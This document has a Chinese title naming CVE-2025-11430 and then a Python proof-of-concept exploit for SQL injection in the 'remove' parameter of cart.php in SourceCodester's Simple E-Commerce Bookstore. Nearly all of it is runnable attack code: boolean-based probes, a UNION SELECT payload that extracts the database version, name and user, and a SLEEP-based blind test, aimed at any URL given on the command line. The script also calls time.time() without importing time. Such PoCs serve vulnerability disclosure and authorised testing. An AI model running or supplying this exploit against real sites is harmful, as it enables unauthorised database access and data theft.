CVE-2025-11430：SourceCodester在线书店系统SQL注入漏洞

# CVE-2025-11430 PoC - SQL Injection in /cart.php via 'remove' parameter # Target: SourceCodester Simple E-Commerce Bookstore 1.0 # Vulnerability: SQL Injection import requests import sys TARGET_URL = "http://target.com/cart.php" def check_sql_injection(target_url): """Check if the target is vulnerable to SQL injection via 'remove' parameter""" # Normal request normal_payload = {"remove": "1"} normal_response = requests.get(target_url, params=normal_payload) normal_length = len(normal_response.text) # Boolean-based SQL injection test payload true_payload = {"remove": "1' AND '1'='1"} false_payload = {"remove": "1' AND '1'='2"} true_response = requests.get(target_url, params=true_payload) false_response = requests.get(target_url, params=false_payload) if len(true_response.text) != len(false_response.text): print("[+] Target is vulnerable to SQL injection!") return True else: print("[-] Target does not appear to be vulnerable.") return False def exploit_sql_injection(target_url): """Exploit SQL injection to extract database information""" # Extract database version using UNION-based injection payload = { "remove": "1' UNION SELECT 1,version(),database(),user(),5-- -" } response = requests.get(target_url, params=payload) print(f"[+] Database info from response:\n{response.text}") # Time-based blind SQL injection to confirm time_payload = {"remove": "1' AND SLEEP(5)-- -"} start_time = time.time() requests.get(target_url, params=time_payload) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] if check_sql_injection(TARGET_URL): exploit_sql_injection(TARGET_URL)